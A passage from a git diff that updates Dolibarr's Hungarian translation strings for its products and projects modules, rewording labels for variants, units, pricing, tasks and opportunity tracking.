URL-ről, az NS a névteret, a VALUE a releváns érték helyét, a DATA az elküldendő adatokat tartalmazza, a METHOD pedig a hívó WS módszert GlobalVariableUpdaterHelpFormat1=A kérelem formátuma: {"URL": "http://example.com/urlofws", "VALUE": "array,targetvalue", "NS": "http://example.com/urlofns", "METHOD": "myWSMethod", "DATA": {"your": "data", "to": "send"}} UpdateInterval=Frissítési időköz (perc) LastUpdated=Utolsó frissítés CorrectlyUpdated=Helyesen frissítve -PropalMergePdfProductActualFile=Az Azur PDF-be való hozzáadásához használt fájlok +PropalMergePdfProductActualFile=A PDF Azur fájlokat a következő fájlokkal lehet hozzáadni a PDF Azurhoz PropalMergePdfProductChooseFile=PDF-fájlok kiválasztása IncludingProductWithTag=Beleértve a címkével ellátott termékeket/szolgáltatásokat -DefaultPriceRealPriceMayDependOnCustomer=Alapértelmezett ár, a valós ár az ügyféltől függhet +DefaultPriceRealPriceMayDependOnCustomer=Alapértelmezett ár, a tényleges ár az ügyféltől függhet WarningSelectOneDocument=Kérjük, válasszon ki legalább egy dokumentumot DefaultUnitToShow=Egység -NbOfQtyInProposals=Ajánlatok mennyisége -ClinkOnALinkOfColumn=Kattintson a %s oszlop hivatkozására a részletes nézet megtekintéséhez... +NbOfQtyInProposals=Mennyiség az árajánlatokban +ClinkOnALinkOfColumn=Kattintson az %s oszlop hivatkozására a részletes nézet megtekintéséhez... ProductsOrServicesTranslations=Termékek/Szolgáltatások fordításai TranslatedLabel=Lefordított címke TranslatedDescription=Lefordított leírás TranslatedNote=Lefordított jegyzetek ProductWeight=1 termék súlya ProductVolume=1 termék mennyisége -WeightUnits=Súlyegység -VolumeUnits=Térfogat mértékegysége -WidthUnits=Szélesség mértékegysége -LengthUnits=Hosszsági egység -HeightUnits=Magasság mértékegysége +WeightUnits=Súly egység +VolumeUnits=Térfogat egység +WidthUnits=Szélesség egység +LengthUnits=Hosszúság egység +HeightUnits=Magasság egység SurfaceUnits=Felületi egység -SizeUnits=Méretegység +SizeUnits=Méret egység DeleteProductBuyPrice=Vételár törlése -ConfirmDeleteProductBuyPrice=Biztosan törölni szeretné ezt a vételárat? -SubProduct=Altermék -ProductSheet=Terméklap -ServiceSheet=Szolgáltatási lap +ConfirmDeleteProductBuyPrice=Biztos, hogy törölni szeretné ezt a vételárat? +SubProduct=Al-termék +ProductSheet=Termék adatlap +ServiceSheet=Szolgáltatási adatlap PossibleValues=Lehetséges értékek -GoOnMenuToCreateVairants=Lépjen a %s - %s menübe az attribútumváltozatok (például színek, méretek, ...) elkészítéséhez. -UseProductFournDesc=Adjon hozzá egy szolgáltatást a szállítók által meghatározott termékleírás meghatározásához (minden szállítói hivatkozáshoz) az ügyfeleknek szóló leírás mellett -ProductSupplierDescription=Szállító leírása a termékhez -UseProductSupplierPackaging=Csomagolás használata a szállítói árakon (a szállítói áron beállított csomagolási mennyiségek újraszámítása a beszállítói dokumentumok sorának hozzáadása/frissítése során) +GoOnMenuToCreateVairants=Lépjen az %s - %s menübe az attribútumváltozatok (például színek, méretek stb.) elkészítéséhez. +UseProductFournDesc=Adjon hozzá egy olyan funkciót, amely a vevőknek szóló leíráson kívül a forgalmazók által meghatározott termékleírást is meghatározza (minden egyes forgalmazói hivatkozáshoz). +ProductSupplierDescription=A termék forgalmazói leírása +UseProductSupplierPackaging=A beszerzési árak többszörösére kerekített árak csomagolásának használata (a mennyiségek újraszámítása a beszerzési árakra beállított szorzóknak megfelelően, amikor a forgalmazói dokumentumokban sorokat adnak hozzá/frissítenek). PackagingForThisProduct=Csomagolás -PackagingForThisProductDesc=Szállítói rendelés esetén automatikusan megrendeli ezt a mennyiséget (vagy ennek többszörösét). Nem lehet kevesebb, mint a minimális vásárlási mennyiség -QtyRecalculatedWithPackaging=A sor mennyiségét a szállítói csomagolásnak megfelelően újraszámoltuk +PackagingForThisProductDesc=Automatikusan ennek a mennyiségnek a többszörösét fogja megvásárolni. +QtyRecalculatedWithPackaging=A sor mennyiségét a szállítói csomagolásnak megfelelően újraszámították. #Attributes -VariantAttributes=Változat attribútumok -ProductAttributes=Változatos attribútumok a termékekhez -ProductAttributeName=%s változat attribútum +VariantAttributes=Változat attribútumai +ProductAttributes=Termékváltozatok attribútumai +ProductAttributeName=Változat attribútum %s ProductAttribute=Változat attribútum -ProductAttributeDeleteDialog=Biztosan törölni szeretné ezt az attribútumot? Minden érték törlődik -ProductAttributeValueDeleteDialog=Biztosan törölni szeretné ennek az attribútumnak a "%s" értékét a "%s" hivatkozással? -ProductCombinationDeleteDialog=Biztosan törölni szeretné a termék "%s" változatát? +ProductAttributeDeleteDialog=Biztos, hogy törölni szeretné ezt az attribútumot? Minden érték törlésre kerül +ProductAttributeValueDeleteDialog=Biztos, hogy törölni szeretné az attribútum "%s" értékét a "%s" hivatkozással? +ProductCombinationDeleteDialog=Biztosan törölni kívánja a(z) " %s " termék változatát? ProductCombinationAlreadyUsed=Hiba történt a változat törlése közben. Kérjük, ellenőrizze, hogy nem használják-e egyetlen objektumban sem ProductCombinations=Változatok PropagateVariant=Változatok terjesztése @@ -368,54 +368,55 @@ EditProductCombination=Változat szerkesztése NewProductCombinations=Új változatok EditProductCombinations=Változatok szerkesztése SelectCombination=Kombináció kiválasztása -ProductCombinationGenerator=Változatgenerátor +ProductCombinationGenerator=Változatok generátor Features=Jellemzők -PriceImpact=Árhatás -ImpactOnPriceLevel=Hatás a %s árszintre -ApplyToAllPriceImpactLevel= Alkalmazás minden szintre -ApplyToAllPriceImpactLevelHelp=Ha ide kattint, ugyanazt az árhatást állítja be minden szinten -WeightImpact=Súlyhatás +PriceImpact=Az árra gyakorolt hatás +ImpactOnPriceLevel=Hatás az árszintre %s +ApplyToAllPriceImpactLevel= Alkalmazni minden szintre +ApplyToAllPriceImpactLevelHelp=Ha ide kattintasz, minden szinten ugyanazt az árat állítod be. +WeightImpact=A súlyra gyakorolt hatás NewProductAttribute=Új attribútum NewProductAttributeValue=Új attribútumérték ErrorCreatingProductAttributeValue=Hiba történt az attribútumérték létrehozásakor. Ez azért lehet, mert már létezik egy érték ezzel a hivatkozással -ProductCombinationGeneratorWarning=Ha folytatja, az új változatok generálása előtt az összes korábbi TÖRLÉS. A már meglévők frissítésre kerülnek az új értékekkel -TooMuchCombinationsWarning=Sok változat generálása magas CPU- és memóriahasználatot eredményezhet, és a Dolibarr nem tudja ezeket létrehozni. A „%s” opció engedélyezése csökkentheti a memóriahasználatot. +ProductCombinationGeneratorWarning=Ha folytatja, az új változatok létrehozása előtt az összes korábbi TÖRLŐDIK. A már meglévők az új értékekkel frissülnek. +TooMuchCombinationsWarning=Sok változat generálása magas CPU- és memóriahasználatot eredményezhet, és a Dolibarr nem tudja létrehozni ezeket. Az „%s” opció engedélyezése csökkentheti a memóriahasználatot. DoNotRemovePreviousCombinations=Ne távolítsa el a korábbi változatokat -UsePercentageVariations=Százalékos eltérések használata +UsePercentageVariations=Használjon százalékos eltéréseket PercentageVariation=Százalékos eltérés ErrorDeletingGeneratedProducts=Hiba történt a meglévő termékváltozatok törlése közben NbOfDifferentValues=Különböző értékek száma NbProducts=Termékek száma ParentProduct=Szülőtermék -HideChildProducts=Változatos termékek elrejtése -ShowChildProducts=Változatos termékek megjelenítése -NoEditVariants=Lépjen a Szülő termékkártyára, és szerkessze a változatok árhatásait a Változatok lapon +HideChildProducts=Termékváltozatok elrejtése +ShowChildProducts=Termékváltozatok megjelenítése +NoEditVariants=Menjen a Szülői termékkártyára, és szerkessze a változatok árhatását a változatok lapon. ConfirmCloneProductCombinations=Szeretné az összes termékváltozatot átmásolni a másik szülőtermékre a megadott hivatkozással? -CloneDestinationReference=Cél termék referencia +CloneDestinationReference=Céltermék hivatkozás ErrorCopyProductCombinations=Hiba történt a termékváltozatok másolása közben ErrorDestinationProductNotFound=A céltermék nem található ErrorProductCombinationNotFound=A termékváltozat nem található -ActionAvailableOnVariantProductOnly=A művelet csak a termék változatán érhető el +ActionAvailableOnVariantProductOnly=A művelet csak a termék változatnál érhető el ProductsPricePerCustomer=Termékárak vásárlónként ProductSupplierExtraFields=További attribútumok (szállítói árak) -DeleteLinkedProduct=A kombinációhoz kapcsolt utódtermék törlése -AmountUsedToUpdateWAP=A súlyozott átlagár frissítéséhez használandó összeg +DeleteLinkedProduct=A kombinációhoz kapcsolódó gyermektermék törlése +AmountUsedToUpdateWAP=A súlyozott átlagár frissítéséhez használandó egységösszeg PMPValue=Súlyozott átlagár PMPValueShort=WAP mandatoryperiod=Kötelező időszakok mandatoryPeriodNeedTobeSet=Megjegyzés: Az időszakot (kezdő és befejező dátum) meg kell határozni -mandatoryPeriodNeedTobeSetMsgValidate=Egy szolgáltatáshoz meg kell adni egy kezdő és befejező időszakot -mandatoryHelper=Jelölje be, ha üzenetet szeretne küldeni a felhasználónak a számla, árajánlat, értékesítési rendelés létrehozásakor/érvényesítésekor anélkül, hogy megadná a kezdési és befejezési dátumot a szolgáltatást használó vonalakon.
      Ne feledje, hogy az üzenet figyelmeztetés, nem pedig blokkoló hiba. +mandatoryPeriodNeedTobeSetMsgValidate=A szolgáltatásnak szüksége van egy kezdő és egy befejező időszakra +mandatoryHelper=Jelölje be ezt a beállítást, ha azt szeretné, hogy a felhasználónak üzenetet küldjön, amikor számlát, árajánlatot, értékesítési rendelést hoz létre/érvényesít anélkül, hogy megadná a kezdő és záró dátumot a sorokon ezzel a szolgáltatással.
      Vegye figyelembe, hogy az üzenet figyelmeztetés, nem pedig blokkoló hiba. DefaultBOM=Alapértelmezett anyagjegyzék -DefaultBOMDesc=A termék gyártásához javasolt alapértelmezett anyagjegyzék. Ez a mező csak akkor állítható be, ha a termék jellege „%s”. +DefaultBOMDesc=A termék gyártásához ajánlott alapértelmezett anyagjegyzék. Ez a mező csak akkor állítható be, ha a termék jellege „%s”. Rank=Rang MergeOriginProduct=Ismétlődő termék (törölni kívánt termék) MergeProducts=Termékek egyesítése -ConfirmMergeProducts=Biztosan egyesíteni szeretné a kiválasztott terméket a jelenlegivel? Minden kapcsolt objektum (számlák, rendelések, ...) átkerül az aktuális termékbe, majd a kiválasztott termék törlődik. +ConfirmMergeProducts=Biztosan egyesíteni szeretné a kiválasztott terméket a jelenlegivel? Minden kapcsolt objektum (számlák, rendelések, ...) átkerül az aktuális termékbe, ami után a kiválasztott termék törlődik. ProductsMergeSuccess=A termékek összevonásra kerültek -ErrorsProductsMerge=A termékek hibái összeolvadnak -SwitchOnSaleStatus=Akciós állapot bekapcsolása -SwitchOnPurchaseStatus=A vásárlás állapotának bekapcsolása +ErrorsProductsMerge=Hibák a termékek egyesítésében +SwitchOnSaleStatus=Akció állapotának bekapcsolása +SwitchOnPurchaseStatus=Vásárlás állapotának bekapcsolása +UpdatePrice=Növeli/csökkenti a ügyfél árat StockMouvementExtraFields= Extra mezők (készlet mozgás) InventoryExtraFields= Extra mezők (leltár) ScanOrTypeOrCopyPasteYourBarCodes=Olvassa be, írja be vagy másolja/illessze be vonalkódjait @@ -425,5 +426,6 @@ ExpectedValuation=Várható értékelés PMPReal=Valós PMP RealValuation=Valódi értékelés ConfirmEditExtrafield = Válassza ki a módosítani kívánt extra mezőt -ConfirmEditExtrafieldQuestion = Biztosan módosítani szeretné ezt az extramezőt? +ConfirmEditExtrafieldQuestion = Biztosan módosítani szeretné ezt az extra mezőt? ModifyValueExtrafields = Extra mező értékének módosítása +OrProductsWithCategories=Vagy címkékkel/kategóriákkal ellátott termékek diff --git a/htdocs/langs/hu_HU/projects.lang b/htdocs/langs/hu_HU/projects.lang index 878583e027f..d652acf4a43 100644 --- a/htdocs/langs/hu_HU/projects.lang +++ b/htdocs/langs/hu_HU/projects.lang @@ -1,9 +1,9 @@ # Dolibarr language file - Source file is en_US - projects -RefProject=Ref. projektet -ProjectRef=Projekt ref. -ProjectId=Projektazonosító -ProjectLabel=Projektcímke -ProjectsArea=Projektterület +RefProject=Hivatkozás projektre +ProjectRef=Projekt hivatkozás +ProjectId=Projekt azonosító +ProjectLabel=Projekt címke +ProjectsArea=Projektek területe ProjectStatus=Projekt állapota SharedProject=Mindenki PrivateProject=Hozzárendelt névjegyek @@ -11,20 +11,21 @@ ProjectsImContactFor=Projektek, amelyeknek kifejezetten kapcsolattartója vagyok AllAllowedProjects=Minden projekt, amit el tudok olvasni (enyém + nyilvános) AllProjects=Minden projekt MyProjectsDesc=Ez a nézet azokra a projektekre korlátozódik, amelyeknek Ön a kapcsolattartója -ProjectsPublicDesc=Ez a nézet megjeleníti az összes olyan projektet, amelyet olvasni jogosult. -TasksOnProjectsPublicDesc=Ez a nézet megjeleníti az összes olyan feladatot a projekteken, amelyek elolvashatók. -ProjectsPublicTaskDesc=Ez a nézet megjeleníti az összes olyan projektet és feladatot, amelyet elolvashat. -ProjectsDesc=Ez a nézet az összes projektet megjeleníti (a felhasználói engedélyei engedélyt adnak minden megtekintésére). -TasksOnProjectsDesc=Ez a nézet megjeleníti az összes feladatot az összes projektben (a felhasználói engedélyei engedélyt adnak minden megtekintésére). -MyTasksDesc=Ez a nézet azokra a projektekre vagy feladatokra korlátozódik, amelyeknek Ön a kapcsolattartója -OnlyOpenedProject=Csak a nyitott projektek láthatók (a vázlat vagy lezárt állapotú projektek nem láthatók). +ProjectsPublicDesc=Ez a nézet az összes olyan projektet bemutatja, amelynek elolvasására engedélyt kapott. +TasksOnProjectsPublicDesc=Ez a nézet az összes olyan projekt feladatát mutatja, amelynek olvasására engedélyt kapott. +ProjectsPublicTaskDesc=Ez a nézet az összes olyan projektet és feladatot mutatja, amelynek olvasására engedélyt kapott. +ProjectsDesc=Ez a nézet az összes projektet mutatja (a felhasználói engedélyei minden megtekintésére jogosítanak). +TasksOnProjectsDesc=Ez a nézet az összes projekt összes feladatát bemutatja (az Ön felhasználói jogosultságai alapján mindent megtekinthet). +MyTasksDesc=Ez a nézet azokra a projektekre vagy feladatokra korlátozódik, amelyeknek Ön a kapcsolattartója. +OnlyOpenedProject=Csak a nyitott projektek láthatók (a tervezet vagy lezárt státuszú projektek nem láthatók). ClosedProjectsAreHidden=A lezárt projektek nem láthatók. -TasksPublicDesc=Ez a nézet megjeleníti az összes olyan projektet és feladatot, amelyet elolvashat. +TasksPublicDesc=Ez a nézet az összes olyan projektet és feladatot mutatja, amelynek olvasására engedélyt kapott. TasksDesc=Ez a nézet megjeleníti az összes projektet és feladatot (a felhasználói engedélyei engedélyt adnak minden megtekintésére). AllTaskVisibleButEditIfYouAreAssigned=A minősített projektekhez tartozó összes feladat látható, de csak a kiválasztott felhasználóhoz rendelt feladathoz adhat meg időt. Rendeljen ki feladatot, ha időt kell megadnia hozzá. OnlyYourTaskAreVisible=Csak az Önhöz rendelt feladatok láthatók. Ha egy feladathoz időt kell megadnia, és a feladat nem látható itt, akkor a feladatot saját magának kell hozzárendelnie. +ImportDatasetProjects=Projektek vagy lehetőségek ImportDatasetTasks=Projektek feladatai -ProjectCategories=Projektcímkék/kategóriák +ProjectCategories=Projekt címkék/kategóriák NewProject=Új projekt AddProject=Projekt létrehozása DeleteAProject=Projekt törlése @@ -32,13 +33,15 @@ DeleteATask=Feladat törlése ConfirmDeleteAProject=Biztosan törölni szeretné ezt a projektet? ConfirmDeleteATask=Biztosan törölni szeretné ezt a feladatot? OpenedProjects=Nyitott projektek -OpenedTasks=Feladatok megnyitása -OpportunitiesStatusForOpenedProjects=A nyitott projektek számát állapot szerint vezeti -OpportunitiesStatusForProjects=A projektek számát állapot szerint vezeti +OpenedTasks=Nyitott feladatok +OpportunitiesStatusForOpenedProjects=A nyitott projektek előrehaladásának száma állapot szerint +OpportunitiesStatusForProjects=A projektek előrehaladásának száma állapot szerint ShowProject=Projekt megjelenítése ShowTask=Feladat megjelenítése +SetThirdParty=Harmadik fél beállítása SetProject=Projekt beállítása -NoProject=Nincs definiált vagy tulajdonos projekt +OutOfProject=Kilép a projektből +NoProject=Nincs meghatározott vagy saját projekt NbOfProjects=Projektek száma NbOfTasks=Feladatok száma TimeSpent=Eltöltött idő @@ -46,18 +49,18 @@ TimeSpentByYou=Az Ön által eltöltött idő TimeSpentByUser=A felhasználó által eltöltött idő TimesSpent=Eltöltött idő TaskId=Feladatazonosító -RefTask=Feladat ref. +RefTask=Feladat hivatkozás LabelTask=Feladat címke TaskTimeSpent=Feladatokra fordított idő TaskTimeUser=Felhasználó TaskTimeNote=Megjegyzés TaskTimeDate=Dátum -TasksOnOpenedProject=Feladatok nyitott projekteken +TasksOnOpenedProject=Nyitott projektek feladatai WorkloadNotDefined=A munkaterhelés nincs meghatározva NewTimeSpent=Eltöltött idő MyTimeSpent=Eltöltött időm -BillTime=Számlázzon az eltöltött időről -BillTimeShort=Számlázzon az eltöltött időről +BillTime=Számlázza ki az eltöltött időt +BillTimeShort=Számlázási idő TimeToBill=Nem számlázott idő TimeBilled=Kiszámlázott idő Tasks=Feladatok @@ -67,35 +70,35 @@ TaskDateEnd=Feladat befejezési dátuma TaskDescription=Feladat leírása NewTask=Új feladat AddTask=Feladat létrehozása -AddTimeSpent=Eltöltött idő létrehozása -AddHereTimeSpentForDay=Adja meg ide az erre a napra/feladatra fordított időt -AddHereTimeSpentForWeek=Adja meg ide az erre a hétre/feladatra fordított időt +AddTimeSpent=Az eltöltött idő létrehozása +AddHereTimeSpentForDay=Adja hozzá az erre a napra/feladatra fordított időt +AddHereTimeSpentForWeek=Adja hozzá az erre a hétre/feladatra fordított időt Activity=Tevékenység Activities=Feladatok/tevékenységek MyActivities=Saját feladataim/tevékenységeim MyProjects=Saját projektek MyProjectsArea=Saját projektek területe DurationEffective=Tényleges időtartam -ProgressDeclared=Valódi deklarált haladás -TaskProgressSummary=Feladat folyamata +ProgressDeclared=Valódi előrelépés +TaskProgressSummary=Feladat előrehaladása CurentlyOpenedTasks=Jelenleg nyitott feladatok -TheReportedProgressIsLessThanTheCalculatedProgressionByX=A bejelentett valós haladás %s kisebb, mint a fogyasztás előrehaladása -TheReportedProgressIsMoreThanTheCalculatedProgressionByX=A bejelentett valós haladás több %s, mint a fogyasztás előrehaladása -ProgressCalculated=Fogyasztás előrehaladása -WhichIamLinkedTo=amelyhez linkelve vagyok -WhichIamLinkedToProject=amelyh projekthez vagyok kapcsolva +TheReportedProgressIsLessThanTheCalculatedProgressionByX=A bejelentett valós haladás %s kisebb, mint a fogyasztás terén elért haladás +TheReportedProgressIsMoreThanTheCalculatedProgressionByX=A bejelentett valós haladás több %s, mint a fogyasztás terén elért haladás +ProgressCalculated=Haladás a fogyasztás terén +WhichIamLinkedTo=amihez kapcsolódom +WhichIamLinkedToProject=amely projekthez kapcsolódom Time=Idő -TimeConsumed=Fogyaszt +TimeConsumed=Elfogyasztott ListOfTasks=Feladatok listája -GoToListOfTimeConsumed=Ugrás az elhasznált idő listájához +GoToListOfTimeConsumed=Menjen a felhasznált idő listájához GanttView=Gantt-nézet -ListWarehouseAssociatedProject=A projekthez társított raktárak listája +ListWarehouseAssociatedProject=A projekthez kapcsolódó raktárak listája ListProposalsAssociatedProject=A projekthez kapcsolódó árajánlatok listája ListOrdersAssociatedProject=A projekthez kapcsolódó értékesítési rendelések listája -ListInvoicesAssociatedProject=A projekthez kapcsolódó vevői számlák listája -ListPredefinedInvoicesAssociatedProject=A projekthez kapcsolódó ügyfélsablon számlák listája +ListInvoicesAssociatedProject=A projekthez kapcsolódó ügyfél számlák listája +ListPredefinedInvoicesAssociatedProject=A projekthez kapcsolódó ügyfél sablon számlák listája ListSupplierOrdersAssociatedProject=A projekthez kapcsolódó beszerzési rendelések listája -ListSupplierInvoicesAssociatedProject=A projekthez kapcsolódó szállítói számlák listája +ListSupplierInvoicesAssociatedProject=A projekthez kapcsolódó forgalmazói számlák listája ListContractAssociatedProject=A projekthez kapcsolódó szerződések listája ListShippingAssociatedProject=A projekthez kapcsolódó szállítások listája ListFichinterAssociatedProject=A projekthez kapcsolódó beavatkozások listája @@ -107,24 +110,25 @@ ListActionsAssociatedProject=A projekthez kapcsolódó események listája ListMOAssociatedProject=A projekthez kapcsolódó gyártási rendelések listája ListTaskTimeUserProject=A projekt feladataira fordított idő listája ListTaskTimeForTask=A feladatra fordított idő listája -ActivityOnProjectToday=Tevékenység a projektben ma +ActivityOnProjectToday=Mai tevékenység a projektben ActivityOnProjectYesterday=Tegnapi tevékenység a projektben -ActivityOnProjectThisWeek=Tevékenység a projektben ezen a héten -ActivityOnProjectThisMonth=Tevékenység a projektben ebben a hónapban -ActivityOnProjectThisYear=Tevékenység a projektben ebben az évben +ActivityOnProjectThisWeek=Ezen a héten végzett tevékenység a projektben +ActivityOnProjectThisMonth=Ebben a hónapban végzett tevékenység a projektben +ActivityOnProjectThisYear=Ebben az évben végzett tevékenység a projektben ChildOfProjectTask=A projekt/feladat gyermeke ChildOfTask=A feladat gyermeke -TaskHasChild=A feladatnak gyermeke van +TaskHasChild=A feladatnak van gyermeke NotOwnerOfProject=Nem tulajdonosa ennek a privát projektnek AffectedTo=Kiosztva -CantRemoveProject=Ez a projekt nem távolítható el, mivel néhány más objektum (számla, rendelés vagy egyéb) hivatkozik rá. Lásd a '%s' lapot. +CantRemoveProject=Ez a projekt nem távolítható el, mivel más objektumok (számla, rendelés vagy egyéb) hivatkoznak rá. Lásd az „%s” lapot. ValidateProject=Projekt érvényesítése ConfirmValidateProject=Biztosan érvényesíteni szeretné ezt a projektet? CloseAProject=Projekt bezárása -ConfirmCloseAProject=Biztosan bezárja ezt a projektet? -AlsoCloseAProject=Projekt bezárása is (tartsa nyitva, ha továbbra is követnie kell rajta a termelési feladatokat) +ConfirmCloseAProject=Biztosan be szeretné zárni ezt a projektet? +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Projekt megnyitása -ConfirmReOpenAProject=Biztosan újra akarja nyitni ezt a projektet? +ConfirmReOpenAProject=Biztosan újra szeretné nyitni ezt a projektet? ProjectContact=A projekt elérhetőségei TaskContact=Feladat kapcsolattartói ActionsOnProject=Események a projektben @@ -135,22 +139,22 @@ ConfirmDeleteATimeSpent=Biztosan törölni szeretné ezt az eltöltött időt? DoNotShowMyTasksOnly=Nézze meg a nem hozzám rendelt feladatokat is ShowMyTasksOnly=Csak a hozzám rendelt feladatok megtekintése TaskRessourceLinks=Feladat kapcsolattartói -ProjectsDedicatedToThisThirdParty=Ennek a harmadik félnek szentelt projektek +ProjectsDedicatedToThisThirdParty=Ennek a harmadik félnek ajánlott projektek NoTasks=Nincs feladat ehhez a projekthez -LinkedToAnotherCompany=Más harmadik félhez kapcsolva -TaskIsNotAssignedToUser=A feladat nincs hozzárendelve a felhasználóhoz. A feladat most hozzárendeléséhez használja a '%s' gombot. +LinkedToAnotherCompany=Más harmadik félhez kapcsolódik +TaskIsNotAssignedToUser=A feladat nincs hozzárendelve a felhasználóhoz. A ' %s ' gombbal rendelje hozzá a feladatot most. ErrorTimeSpentIsEmpty=Az eltöltött idő üres TimeRecordingRestrictedToNMonthsBack=Az időrögzítés %s hónapra van korlátozva ThisWillAlsoRemoveTasks=Ez a művelet törli a projekt összes feladatát (jelenleg %s feladat) és a ráfordított idő összes bevitelét. -IfNeedToUseOtherObjectKeepEmpty=Ha egyes objektumokat (számla, rendelés, ...), amelyek egy másik harmadik félhez tartoznak, a projekthez kell kapcsolni a létrehozáshoz, hagyja üresen, hogy a projekt több harmadik fél legyen. +IfNeedToUseOtherObjectKeepEmpty=Ha egyes objektumokat (számla, megrendelés, ...), amelyek egy másik harmadik félhez tartoznak, a projekthez kell kapcsolni a létrehozáshoz, hagyja üresen, hogy a projekt több harmadik fél legyen. CloneTasks=Feladatok klónozása CloneContacts=Névjegyek klónozása CloneNotes=Jegyzetek klónozása CloneProjectFiles=A projekthez kapcsolódó fájlok klónozása CloneTaskFiles=Az egyesített fájlok klónozása (ha a feladat(ok) klónozva) -CloneMoveDate=Frissíti a projekt/feladatok dátumát mostantól? +CloneMoveDate=Frissíti a projekt/feladatok dátumait mostantól? ConfirmCloneProject=Biztosan klónozza ezt a projektet? -ProjectReportDate=A feladatdátumok módosítása a projekt új kezdési dátumának megfelelően +ProjectReportDate=Módosítsa a feladat dátumait a projekt új kezdési dátumának megfelelően ErrorShiftTaskDate=A feladat dátumát nem lehet a projekt új kezdési dátuma szerint eltolni ProjectsAndTasksLines=Projektek és feladatok ProjectCreatedInDolibarr=%s projekt létrehozva @@ -159,16 +163,16 @@ ProjectModifiedInDolibarr=%s projekt módosítva TaskCreatedInDolibarr=%s feladat létrehozva TaskModifiedInDolibarr=%s feladat módosítva TaskDeletedInDolibarr=%s feladat törölve -OpportunityStatus=Potenciális ügyfél állapota -OpportunityStatusShort=Potenciális ügyfél állapota -OpportunityProbability=Lehetőség valószínűsége -OpportunityProbabilityShort=Lehetőség valószínűsége -OpportunityAmount=Lehetőség összege -OpportunityAmountShort=Lehetőség összege -OpportunityWeightedAmount=A lehetőséggel súlyozott összeg +OpportunityStatus=Előrehaladás állapota +OpportunityStatusShort=Előrehaladás állapota +OpportunityProbability=Előrehaladás valószínűség +OpportunityProbabilityShort=Előrehaladás valószín. +OpportunityAmount=Előrehaladás összege +OpportunityAmountShort=Előrehaladás összege +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Lehetőséggel súlyozott összeg -OpportunityAmountAverageShort=Lehetőség átlagos összege -OpportunityAmountWeigthedShort=Súlyozott ólommennyiség +OpportunityAmountAverageShort=Az előrehaladás átlagos összege +OpportunityAmountWeigthedShort=Az előrehaladás súlyozott összege WonLostExcluded=Nyert/Vesztes kizárva ##### Types de contacts ##### TypeContact_project_internal_PROJECTLEADER=Projektvezető @@ -180,72 +184,72 @@ TypeContact_project_task_external_TASKEXECUTIVE=Feladat végrehajtó TypeContact_project_task_internal_TASKCONTRIBUTOR=Közreműködő TypeContact_project_task_external_TASKCONTRIBUTOR=Közreműködő SelectElement=Elem kiválasztása -AddElement=Link az elemhez -LinkToElementShort=Hivatkozás +AddElement=Hivatkozás az elemhez +LinkToElementShort=Hivatkozás ehhez # Documents models -DocumentModelBeluga=Projekt dokumentumsablon a csatolt objektumok áttekintéséhez +DocumentModelBeluga=Projektdokumentum sablon a kapcsolódó objektumok áttekintéséhez DocumentModelBaleine=Projekt dokumentumsablon feladatokhoz DocumentModelTimeSpent=Projekt jelentés sablon az eltöltött időhöz -PlannedWorkload=Tervezett munkaterhelés -PlannedWorkloadShort=Munkaterhelés -ProjectReferers=Kapcsolódó tételek +PlannedWorkload=Tervezett munkamennyiség +PlannedWorkloadShort=Munkamennyiség +ProjectReferers=Kapcsolódó elemek ProjectMustBeValidatedFirst=A projektet először érvényesíteni kell -MustBeValidatedToBeSigned=Az %s elemet először érvényesíteni kell, hogy aláírva legyen. +MustBeValidatedToBeSigned=Az %s elemet először érvényesíteni kell, hogy aláírásra kerüljön. FirstAddRessourceToAllocateTime=Felhasználói erőforrás hozzárendelése a projekt kapcsolattartójaként az idő lefoglalásához InputPerDay=Bevitel naponta -InputPerWeek=Heti bevitel +InputPerWeek=Bevitel hetente InputPerMonth=Bevitel havonta InputDetail=Beviteli részletek -TimeAlreadyRecorded=Ez az ehhez a feladathoz/naphoz és %s felhasználóhoz már eltöltött idő +TimeAlreadyRecorded=Ez a feladatra/napra és a felhasználóra %s már feljegyzett idő. ProjectsWithThisUserAsContact=Projektek ezzel a felhasználóval kapcsolattartóként ProjectsWithThisContact=Projektek ezzel a kapcsolattal TasksWithThisUserAsContact=A felhasználóhoz rendelt feladatok ResourceNotAssignedToProject=Nincs projekthez rendelve ResourceNotAssignedToTheTask=Nincs hozzárendelve a feladathoz NoUserAssignedToTheProject=Nincs felhasználó hozzárendelve ehhez a projekthez -TimeSpentBy=Által eltöltött idő -TasksAssignedTo=Feladatok hozzárendelve +TimeSpentBy=Az alábbiak által eltöltött idő +TasksAssignedTo=A következőkhöz rendelt feladatok AssignTaskToMe=Feladat hozzárendelése magamhoz AssignTaskToUser=Feladat hozzárendelése ehhez: %s -SelectTaskToAssign=Válassza ki a hozzárendelendő feladatot... +SelectTaskToAssign=Válassza ki a feladatot a hozzárendeléshez... AssignTask=Hozzárendelés ProjectOverview=Áttekintés ManageTasks=Projektek használata a feladatok követésére és/vagy az eltöltött idő jelentésére (munkaidő-nyilvántartás) -ManageOpportunitiesStatus=Használjon projekteket a vezetők/lehetőségek követésére +ManageOpportunitiesStatus=Használjon projekteket az előrehaladás/lehetőségek követésére ProjectNbProjectByMonth=Létrehozott projektek száma hónaponként ProjectNbTaskByMonth=Létrehozott feladatok száma hónaponként -ProjectOppAmountOfProjectsByMonth=A lehetőségek mennyisége havonta -ProjectWeightedOppAmountOfProjectsByMonth=A lehetőségek súlyozott mennyisége hónaponként -ProjectOpenedProjectByOppStatus=Projekt megnyitása | vezető státusz szerint vezet -ProjectsStatistics=Statisztikák projektekről vagy lehetőségekről -TasksStatistics=Statisztikák projektek vagy lehetőségek feladatairól +ProjectOppAmountOfProjectsByMonth=Az előrehaladások mennyisége havonta +ProjectWeightedOppAmountOfProjectsByMonth=Az előrehaladások súlyozott mennyisége hónaponként +ProjectOpenedProjectByOppStatus=Nyitott projekt | előrehaladás előrehaladási státusz szerint +ProjectsStatistics=Statisztikák projektekről vagy előrehaladásokról +TasksStatistics=Statisztikák projektek vagy előrehaladások feladatairól TaskAssignedToEnterTime=Feladat hozzárendelve. Lehetővé kell tenni az idő megadását erre a feladatra. -IdTaskTime=Id feladat ideje +IdTaskTime=Azonosító feladat ideje YouCanCompleteRef=Ha a ref-et valamilyen utótaggal szeretné kiegészíteni, akkor javasolt egy - karakter hozzáadása az elválasztáshoz, így az automatikus számozás továbbra is megfelelően fog működni a következő projekteknél. Például %s-MYSUFFIX OpenedProjectsByThirdparties=Harmadik felek által nyitott 